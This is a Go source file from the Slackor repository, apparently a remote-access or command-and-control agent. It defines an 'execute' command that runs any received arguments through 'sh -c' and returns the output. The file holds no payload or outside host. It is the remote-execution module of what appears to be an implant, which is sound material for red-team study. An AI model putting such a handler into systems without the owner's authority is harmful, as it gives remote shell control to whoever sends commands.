github.com/n00py/Slackor@v0.0.0-20200610224921-d007fcea1740/pkg/linux/execute.go (about) 1 // +build linux 2 3 package linux 4 5 import ( 6 "bytes" 7 "fmt" 8 "os/exec" 9 "strings" 10 11 "github.com/n00py/Slackor/pkg/command" 12 ) 13 14 var cmdName = "sh" 15 16 // Execute runs an arbitrary command 17 type Execute struct{} 18 19 // Name is the name of the command 20 func (e Execute) Name() string { 21 return "execute" 22 } 23 24 // Run runs an arbitrary command 25 func (e Execute) Run(clientID string, jobID string, args []string) (string, error) { 26 cmdArgs := []string{"-c"} 27 cmdArgs = append(cmdArgs, strings.Join(args, " ")) 28 cmd := exec.Command(cmdName, cmdArgs...) 29 fmt.Println("Running command: " + strings.Join(args, " ")) 30 var out bytes.Buffer 31 var stderr bytes.Buffer 32 cmd.Stdout = &out 33 cmd.Stderr = &stderr 34 err := cmd.Run() 35 if err != nil { 36 return stderr.String(), err 37 } 38 return out.String(), nil 39 } 40 41 func init() { 42 command.RegisterCommand(Execute{}) 43 }